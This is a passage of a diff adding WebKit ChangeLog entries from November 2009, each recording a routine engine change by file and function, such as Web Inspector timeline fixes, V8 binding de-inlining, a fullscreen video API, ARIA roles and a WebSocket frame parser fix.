+        (WebCore::getElementStringAttr):  Body of string-valued Element getter function.
+        (WebCore::setElementStringAttr):  Body of string-valued Element setter function.
+        * bindings/v8/V8Binding.h:
+
+2009-11-12  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for <rdar://problem/7267951>
+        Canvas methods should reject uses of NaN and Infinity.
+
+        Test: fast/canvas/canvas-with-illegal-args.html
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::scale):
+        (WebCore::CanvasRenderingContext2D::rotate):
+        (WebCore::CanvasRenderingContext2D::translate):
+        (WebCore::CanvasRenderingContext2D::transform):
+        (WebCore::CanvasRenderingContext2D::setTransform):
+
+2009-11-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: profile timeline panel, fix obvious problems.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31432
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.updateGraphDividersIfNeeded):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._setWindowPosition):
+        (WebInspector.TimelineCalculator):
+        (WebInspector.TimelineCalculator.prototype.get minimumBoundary):
+        (WebInspector.TimelineCalculator.prototype.get maximumBoundary):
+        (WebInspector.TimelineCalculator.prototype.reset):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineCalculator.prototype.formatValue):
+        (WebInspector.TimelineGraph):
+        (WebInspector.TimelineGraph.prototype.refresh):
+        * inspector/front-end/utilities.js:
+        (Element.prototype.hasStyleClass):
+
+2009-11-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: preload status bar button glyphs
+        in order to prevent them from flickering.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31439
+
+        * inspector/front-end/inspector.js:
+        (preloadImages):
+
+2009-11-12  Adam Roben  <aroben@apple.com>
+
+        Replace worldIDs with world objects
+
+        Part of <http://webkit.org/b/31414> Implement new SPI for dealing with
+        user scripts/stylesheets and isolated worlds
+
+        Reviewed by Sam Weinig.
+
+        Covered by existing tests.
+
+        * WebCore.base.exp: Update exported symbols to match what now exists
+        and is needed by WebKit.
+
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute): Updated for function rename.
+
+        * bindings/js/ScriptController.cpp: Removed code that dealt with
+        worldIDs.
+        (WebCore::ScriptController::createWorld): Added. Returns a new world
+        suitable for use on the main thread.
+        (WebCore::ScriptController::executeScriptInWorld): Renamed from
+        executeScriptInIsolatedWorld, since this works just fine with a
+        "normal" world.
+
+        * bindings/js/ScriptController.h: Added createWorld, removed functions
+        that took worldIDs, renamed executeScriptInIsolatedWorld to
+        executeScriptInWorld.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::injectUserScripts):
+        (WebCore::Frame::injectUserScriptsForWorld):
+        Updated for changes to UserScriptMap and ScriptController.
+
+        * page/Frame.h: Changed injectUserScriptsForWorld to take a
+        DOMWrapperWorld* instead of a worldID.
+
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::addUserScriptToWorld):
+        (WebCore::PageGroup::addUserStyleSheetToWorld):
+        (WebCore::PageGroup::removeUserScriptFromWorld):
+        (WebCore::PageGroup::removeUserStyleSheetFromWorld):
+        (WebCore::PageGroup::removeUserScriptsFromWorld):
+        (WebCore::PageGroup::removeUserStyleSheetsFromWorld):
+        * page/PageGroup.h:
+        Changed these functions to take a DOMWrapperWorld* instead of a
+        worldID. Also updated for changes to UserScript and UserStyleSheet.
+
+        * page/UserScript.h:
+        * page/UserStyleSheet.h: Changed not to hold a worldID, since it was
+        never used.
+
+        * page/UserScriptTypes.h:
+        * page/UserStyleSheetTypes.h: Changed UserScriptMap and
+        UserStyleSheetMap to use a RefPtr<DOMWrapperWorld> instead of a
+        worldID as their key type.
+
+
+2009-11-12  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Fixes <http://webkit.org/b/31260>.
+        Web Inspector: Main Resources Other than HTML are mis-detected.
+        
+        Even if the resource is a main resource, look at its CachedResource type, 
+        because it might be an image, stylesheet, or JavaScript file, and we
+        want to show them all correctly.
+
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::cachedResourceType): Move this method out so it can be called in multiple places.
+        (WebCore::InspectorResource::type): 
+        * inspector/InspectorResource.h:
+
+2009-11-12  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Table-driven setup for V8 binding template callback functions. 100k in code savings.
+        https://bugs.webkit.org/show_bug.cgi?id=31420
+
+        * bindings/scripts/CodeGeneratorV8.pm:  Change generated ConfigureXXXTemplate fn
+            to call configureTemplate().
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::configureTemplate):  New function; does all the standard configuration work.
+        (WebCore::createCallback):  De-inlined wrapper for FunctionTemplate creation.
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::batchConfigureAttributes):  Just wrapped the very long fn parameter list.
+        (WebCore::batchConfigureCallbacks):  New function, used by configureTemplate.
+        (WebCore::batchConfigureConstants):  Just wrapped the very long fn parameter list.
+        * bindings/v8/V8Proxy.h:
+
+2009-11-12  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Unreviewed, fix Chromium build after http://trac.webkit.org/changeset/50876.
+
+        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp:
+
+2009-11-12  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/7388969> Add DOM API for fullscreen video
+        
+        DOM API for fullscreen <video>.
+
+        Tests: media/media-fullscreen-inline.html
+               media/media-fullscreen-not-in-document.html
+
+        * dom/EventNames.h:
+            Add webkitbeginfullscreen and webkitendfullscreen.
+
+        * html/HTMLAttributeNames.in:
+            Add onwebkitbeginfullscreen and onwebkitendfullscreen.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::parseMappedAttribute):
+            Deal with onwebkitbeginfullscreen and onwebkitendfullscreen.
+        (WebCore::HTMLMediaElement::enterFullscreen):
+            Schedule webkitbeginfullscreenEvent event, don't set m_isFullscreen unless we
+            actually do enter fullscreen.
+        (WebCore::HTMLMediaElement::exitFullscreen):
+            Schedule webkitendfullscreenEvent event.
+        (WebCore::HTMLMediaElement::webkitEnterFullScreen):
+        (WebCore::HTMLMediaElement::webkitExitFullScreen):
+        (WebCore::HTMLMediaElement::webkitSupportsFullscreen):
+        (WebCore::HTMLMediaElement::webkitDisplayingFullscreen):
+            New, access to fullscreen properties and methods.
+
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.idl:
+            Declare methods needed for fullscreen API.
+
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::supportsFullscreen):
+            Return false if a movie does not have video.
+
+        * page/DOMWindow.h:
+            Add webkitbeginfullscreen and webkitendfullscreen.
+
+2009-11-12  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Chromium] Sify compose button alerts error
+        https://bugs.webkit.org/show_bug.cgi?id=31394
+
+        Test: http/tests/security/calling-versus-current.html
+
+        We're supposed to use the calling context for security checks.  In JSC
+        land, this is the lexicalGlobalObject.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::canAccessPrivate):
+
+2009-11-12  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30291
+
+        Fixes an issue where the returned drop effect is incorrect when
+        effectAllowed == "uninitialized".
+
+        According to section 7.9.2 of the HTML 5 spec.
+        <http://dev.w3.org/html5/spec/Overview.html#the-dragevent-and-datatransfer-interfaces>
+        when effectAllowed = "uninitialized" the resulting dropEffect should be the
+        user-specified dropEffect (i.e. "copy", "move", "link") and "none" for any
+        other case.
+        
+        No test cases are included because we have an existing test case from
+        bug #24731.
+
+        * dom/Clipboard.cpp:
+        (WebCore::dragOpFromIEOp): Added case for op == "uninitialized".
+
+2009-11-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not highlight node on refresh.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31419
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.reset):
+
+2009-11-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Minor timeline fixes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31417
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        (WebInspector.TimelineRecordTreeElement.prototype._updateDetails):
+        (WebInspector.TimelineRecordTreeElement.prototype.refresh):
+
+2009-11-12  Alexey Proskuryakov  <ap@apple.com>
+
+        SnowLeopard build fix.
+
+        Renamed initWithClient to initWithAuthenticationClient.
+
+        * platform/network/mac/AuthenticationMac.mm:
+        (-[WebCoreAuthenticationClientAsChallengeSender initWithAuthenticationClient:]):
+        (WebCore::AuthenticationChallenge::setAuthenticationClient):
+
+2009-11-12  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        ARIA: add alert type roles
+        https://bugs.webkit.org/show_bug.cgi?id=31392
+
+        Test: platform/mac/accessibility/aria-alerts.html
+
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+
+2009-11-11  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31386
+        Make Mac AuthenticationChallenge usable from cross-platform code
+
+        No change in behavior, so no tests.
+
+        * platform/network/ResourceHandle.cpp:
+        (WebCore::ResourceHandle::clearAuthentication):
+        * platform/network/ResourceHandleInternal.h:
+        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
+        Don't store m_currentCFChallenge, which was only used for a single assertion. Unlike the
+        NSURLConnection case, CF challenge doesn't carry a sender with it, so the copy in web challenge
+        is identical.
+
+        * platform/network/cf/AuthenticationChallenge.h:
+        (WebCore::AuthenticationChallenge::setAuthenticationClient): Added a setter to match the new
+        Mac interface. Previously, one had to create a new AuthenticationChallenge to replace client.
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Fixed assertions after removal
+        of m_currentCFChallenge. Also, there is no need to set client now, as it's guaranteed to
+        be already set.
+
+        * platform/network/mac/AuthenticationChallenge.h:
+        (WebCore::AuthenticationChallenge::m_sender): Explained the existence of this member to the
+        best of my understanding.
+        (WebCore::AuthenticationChallenge::m_nsChallenge): Renamed from m_macChallenge to prevent
+        confusion with "mac" and "web" challenges in ResourceHandleInternal.
+
+        * platform/network/mac/AuthenticationMac.mm:
+        (WebCoreAuthenticationClientAsChallengeSender): Added a Obj-C wrapper for AuthenticationClient,
+        making it possible to use the latter with NSURLAuthenticationChallenge.
+        (WebCore::AuthenticationChallenge::AuthenticationChallenge): Updated for m_macChallenge ->
+        m_nsChallenge renaming.
+        (WebCore::AuthenticationChallenge::setAuthenticationClient): Wrap the client in Obj-C and
+        set it as sender (or unset, if client is null).
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCoreResourceHandleAsDelegate) WebCoreResourceHandleAsDelegate no longer doubles as
+        authentication challenge sender.
+        (WebCore::ResourceHandle::~ResourceHandle): A navigation can happen underneath an
+        authentication sheet.
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Form m_currentWebChallenge
+        using the new setAuthenticationClient() method.
+        (WebCore::ResourceHandle::didCancelAuthenticationChallenge): Fixed an incorrect assertion.
+        Since didCancelAuthenticationChallenge is called by connection, the passed challenge is
+        the original Mac one, not the one we created for use with authentication sheet. I don't
+        know when a connection would cancel authentication in practice, so I haven't tested this.
+
+2009-11-12  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: breakpoint sidebar entries should allow click over entire list item
+        https://bugs.webkit.org/show_bug.cgi?id=31411
+
+        No new tests; no new functionality, small usability change. 
+
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement):
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement.breakpointClicked):
+
+2009-11-12  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: breakpoints in named evals are not restored after a reload
+        https://bugs.webkit.org/show_bug.cgi?id=31375
+
+        Manual test added
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.addScript):
+        * manual-tests/inspector/bp-in-named-eval-after-reload.html: Added.
+
+2009-11-12  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Custom printing shrink factors
+        https://bugs.webkit.org/show_bug.cgi?id=29042
+
+        This reverts commit r49769. The public API for this needs to be reviewed
+        before its inclusion in Qt.
+
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::begin):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
+
+2009-11-12  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Resource errors/warnings not shown in the Resource tree.
+
+        Error/Warning bubbles are not displayed next to the resource in the 
+        Resources panel if those occur before the resource is attached to the tree.
+        https://bugs.webkit.org/show_bug.cgi?id=31404
+
+        Test: manual-tests/inspector/styled-error-bubbles-in-scripts.html
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.removeItem):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.onattach):
+
+2009-11-12  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31047
+        [GTK] Failing test media/video-played-ranges-1.html
+
+        Follow-up of r50726, don't block the UI thread when calling
+        gst_element_get_state(). Also fixed a compilation warning and some
+        static casts.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::playbackPosition):
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::setRate):
+
+2009-11-12  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31047
+        [GTK] Failing test media/video-played-ranges-1.html
+
+        don't pause pipeline if already paused, same for play()
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::play):
+        (WebCore::MediaPlayerPrivate::pause):
+
+2009-11-12  Kinuko Yasuda  <kinuko@google.com>
+
+        Reviewed by David Levin.
+
+        Support Gtk scrollwheel behavior for horizontal scrollbars on Linux
+        Chromium too.
+        https://bugs.webkit.org/show_bug.cgi?id=31292
+
+        No new tests. (Corresponding test for Gtk+ is
+        platform/gtk/scrollbars/overflow-scrollbar-horizontal-wheel-scroll.html)
+
+        * page/EventHandler.cpp:
+        * page/chromium/EventHandlerChromium.cpp:
+
+2009-11-12  Yuta Kitamura  <yutak@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Prevent text inside a multi-column block from being split into columns.
+        
+        If the tentative height of a multi-column block was too small, we need to
+        expand the block height and try to layout again, in order to prevent text
+        from being split into different columns.
+
+        CSS Multicolumn text is split awkwardly
+        https://bugs.webkit.org/show_bug.cgi?id=22249
+
+        Test: fast/multicol/single-line.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutColumns):
+        * rendering/RenderBlock.h:
+        * rendering/RenderLineBoxList.cpp:
+        (WebCore::RenderLineBoxList::paint):
+        * rendering/RenderView.h:
+        (WebCore::RenderView::setTruncatedAt):
+        (WebCore::RenderView::setMinimumColumnHeight):
+        (WebCore::RenderView::minimumColumnHeight):
+
+2009-11-11  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a bug that RenderFileUploadControl isn't initialized with multiple files.
+        https://bugs.webkit.org/show_bug.cgi?id=31195
+
+        Test: fast/forms/input-file-re-render.html
+
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::RenderFileUploadControl):
+
+2009-11-09  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fixing Chromium's POSIX VFS implementation, by adding the required
+        "used file descriptors" logic.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31275
+
+        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp:
+
+2009-11-11  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        need to implement aria tree roles
+        https://bugs.webkit.org/show_bug.cgi?id=31284
+
+        Tests: platform/mac/accessibility/aria-multiselectable.html
+               platform/mac/accessibility/aria-tree.html
+
+        * accessibility/AccessibilityList.cpp:
+        (WebCore::AccessibilityList::accessibilityIsIgnored):
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::ariaTreeRows):
+        (WebCore::AccessibilityObject::ariaTreeItemContent):
+        (WebCore::AccessibilityObject::ariaTreeItemDisclosedRows):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        (WebCore::AccessibilityObject::isTree):
+        (WebCore::AccessibilityObject::isTreeItem):
+        (WebCore::AccessibilityObject::setIsExpanded):
+        (WebCore::AccessibilityObject::canSetExpandedAttribute):
+        (WebCore::AccessibilityObject::hierarchicalLevel):
+        (WebCore::AccessibilityObject::setSelectedRows):
+        (WebCore::AccessibilityObject::performDefaultAction):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::hierarchicalLevel):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::isExpanded):
+        (WebCore::AccessibilityRenderObject::setElementAttributeValue):
+        (WebCore::AccessibilityRenderObject::elementAttributeValue):
+        (WebCore::AccessibilityRenderObject::setIsExpanded):
+        (WebCore::AccessibilityRenderObject::isSelected):
+        (WebCore::AccessibilityRenderObject::setSelected):
+        (WebCore::AccessibilityRenderObject::setSelectedRows):
+        (WebCore::createARIARoleMap):
+        (WebCore::AccessibilityRenderObject::canSetExpandedAttribute):
+        (WebCore::AccessibilityRenderObject::ariaTreeSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaListboxSelectedChildren):
+        (WebCore::AccessibilityRenderObject::selectedChildren):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectMac.mm:
+        (WebCore::AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (RoleEntry::):
+        (-[AccessibilityObjectWrapper subrole]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilityIsAttributeSettable:]):
+        (-[AccessibilityObjectWrapper accessibilityPerformShowMenuAction]):
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+        (-[AccessibilityObjectWrapper accessibilityArrayAttributeCount:]):
+        * html/HTMLAttributeNames.in:
+
+2009-11-11  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix after @r50760 with ENABLE_FILTERS.
+
+        * platform/graphics/filters/SourceAlpha.cpp:
+        (WebCore::SourceAlpha::apply): Supply ColorSpace to fillRect.
+        * svg/graphics/filters/SVGFEFlood.cpp: Supply ColorSpace argument
+          to fillRect.
+
+2009-11-11  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix WebSocket frame parser of frame_type with high-order bit set.
+        https://bugs.webkit.org/show_bug.cgi?id=30668
+
+        If buffer is smaller than frame's length, it should break the loop
+        instead of reading next byte.
+
+        Tests: websocket/tests/frame-length-longer-than-buffer.html
+               websocket/tests/frame-length-skip.html
+
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData):
+
+2009-11-11  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [chromium] Remove t2embed.dll functions from FontCustomPlatformData.cpp for Chromium
+        https://bugs.webkit.org/show_bug.cgi?id=31345
+
+        Remove dependency on t2embed.dll so that Chromium for Windows can start even if t2embed.dll cannot be accessed.
+
+        * platform/graphics/chromium/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::~FontCustomPlatformData): Remove TTDeleteEmbeddedFont() call. Always use RemoveFontMemResourceEx().
+        (WebCore::FontCustomPlatformData::fontPlatformData): Remove TTGetNewFontName() call.
+        (WebCore::createFontCustomPlatformData): Remove TTLoadEmbeddedFont() call. Always use AddFontMemResourceEx() via renameAndActivateFont() in opentype/OpenTypeUtility.h. Remove EOTStream class as well.
+
+2009-11-11  Beth Dakin  <bdakin@apple.com>
+
+        Build fix. No review needed.
+
+        * platform/graphics/gtk/FontGtk.cpp:
+        (WebCore::Font::drawComplexText):
+
+2009-11-11  Beth Dakin  <bdakin@apple.com>
+
+        Build fix. No review needed.
+
+        * platform/graphics/cairo/FontCairo.cpp:
+        (WebCore::Font::drawGlyphs):
+
+2009-11-11  Beth Dakin  <bdakin@apple.com>
+
+        Windows build fix. No review needed. 
+
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::Font::drawGlyphs):
+
+2009-11-11  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=31382
+        Make -webkit-color-correction work with shadows
+
+        From canvas, just send DeviceColorSpace to setShadow() for now. 
+        Will fix soon when I address https://bugs.webkit.org/show_bug.cgi?id=31319
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::setShadow):
+        (WebCore::CanvasRenderingContext2D::applyShadow):
+
+        setShadow() and setPlatformShadow() now take a ColorSpace.
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::setShadow):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::createCGColorWithColorSpace): New helper to create a 
+        color in a ColorSpace.
+        (WebCore::setCGFillColor): Call new helper.
+        (WebCore::setCGStrokeColor): Call new helper.
+        (WebCore::GraphicsContext::setPlatformShadow): Call new helper.
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+        Send appropriate ColorSpace to setShadow().
+        * platform/graphics/mac/FontMac.mm:
+        (WebCore::Font::drawGlyphs):
+        * rendering/EllipsisBox.cpp:
+        (WebCore::EllipsisBox::paint):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::paintTextDecorations):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::paintTextWithShadows):
+        (WebCore::InlineTextBox::paintDecoration):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintBoxShadow):
+        * rendering/SVGInlineTextBox.cpp:
+        (WebCore::SVGInlineTextBox::paintCharacters):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+
+        Attempt to keep ports building.
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+2009-11-11  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Print the file text of a file upload control in DumpRenderTree for ease of tests.
+        https://bugs.webkit.org/show_bug.cgi?id=31195
+
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::paintObject):
+        (WebCore::RenderFileUploadControl::fileTextValue):
+        * rendering/RenderFileUploadControl.h:
+        (WebCore::RenderFileUploadControl::isFileUploadControl):
+        (WebCore::toRenderFileUploadControl):
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isFileUploadControl):
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::operator<<):
+
+2009-11-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        DOM Wrappers for some nodes may not be marked.
+        https://bugs.webkit.org/show_bug.cgi?id=31380
+
+        Some markChildren methods are calling getCachedDOMNodeWrapper, which will find
+        the wrapper for the current world only.  This means that wrappers may be GC'ed
+        prematurely, and properties lost.
+
+        Move to a model more like markDOMObjectWrapper, mark wrappers for all worlds.
+
+        * bindings/js/JSAttrCustom.cpp:
+        (WebCore::JSAttr::markChildren):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::markDOMNodeWrapper):
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSNamedNodeMapCustom.cpp:
+        (WebCore::JSNamedNodeMap::markChildren):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::markChildren):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::markChildren):
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::JSStyleSheet::markChildren):
+
+2009-11-11  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Adler.
+
+        bindings/js/ScriptObject.cpp is missing and ENABLE(INSPECTOR) guard.
+        https://bugs.webkit.org/show_bug.cgi?id=31384
+
+        No functionality change so no tests required.
+
+        * bindings/js/ScriptObject.cpp: Add ENABLE(INSPECTOR) guard around the JSInspectorBackend.h include.
+
+2009-11-11  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        The Big De-Inlining. 450k code size reduction (32-bit x86.)
+        - Various inline functions in V8Binding.h made non-inline.
+        - Some renaming for consistency.
+        - New function createRawTemplate().
+        https://bugs.webkit.org/show_bug.cgi?id=31383
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8DOMWrapperToNative):
+        (WebCore::v8ValueToWebCoreString):
+        (WebCore::v8ValueToAtomicWebCoreString):
+        (WebCore::toInt32):
+        (WebCore::toWebCoreString):
+        (WebCore::toWebCoreStringWithNullCheck):
+        (WebCore::toAtomicWebCoreStringWithNullCheck):
+        (WebCore::toWebCoreStringWithNullOrUndefinedCheck):
+        (WebCore::isUndefinedOrNull):
+        (WebCore::v8Boolean):
+        (WebCore::v8UndetectableString):
+        (WebCore::v8StringOrNull):
+        (WebCore::v8StringOrUndefined):
+        (WebCore::v8StringOrFalse):
+        (WebCore::v8StringToWebCoreString):
+        (WebCore::v8ExternalString):
+        (WebCore::createRawTemplate):  New function.
+        * bindings/v8/V8Binding.h:
+        (WebCore::v8DOMWrapperTo):
+        (WebCore::v8DOMWrapperToNode):
+        (WebCore::v8StringToWebCoreString):
+        (WebCore::v8StringToAtomicWebCoreString):
+
+2009-11-11  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        More V8 de-inlining (outlining?) Abstracted a chunk of boilerplate code from every
+        event-listener setter into a new subroutine transferHiddenDependency().
+        https://bugs.webkit.org/show_bug.cgi?id=31377
+
+        * bindings/scripts/CodeGeneratorV8.pm:  Replace boilerplate with call to transferHiddenDependency().
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::transferHiddenDependency):  New.
+        * bindings/v8/V8Utilities.h:  Declaration of transferHiddenDependency.
+
+2009-11-11  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        If we are on Windows, don't try and get the kCGColorSpaceSRGB ColorSpace,
+        because there is a CG bug preventing this from working.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::sRGBColorSpaceRef):
+
+2009-11-11  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Check that if Storage panel exists before calling its methods
+
+        https://bugs.webkit.org/show_bug.cgi?id=31343
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.addDatabase):
+        (WebInspector.addCookieDomain):
+        (WebInspector.addDOMStorage):
+        (WebInspector.updateDOMStorage):
+
+2009-11-11  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        De-inline convertNodeToV8Object(), which expands to a lot of asm code and is inlined 136
+        times in the generated V8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=31368
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):  Moved body here from .h file
+        * bindings/v8/V8DOMWrapper.h:  Removed inline method body.
+
+2009-11-11  Jessie Berlin  <jberlin@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Display the correct summary in the web inspector for the shorthands
+        border-color, border-width, border-style, margin, and padding.
+        https://bugs.webkit.org/show_bug.cgi?id=7987
+
+        Test: fast/css/shorthands-four-values.html
+
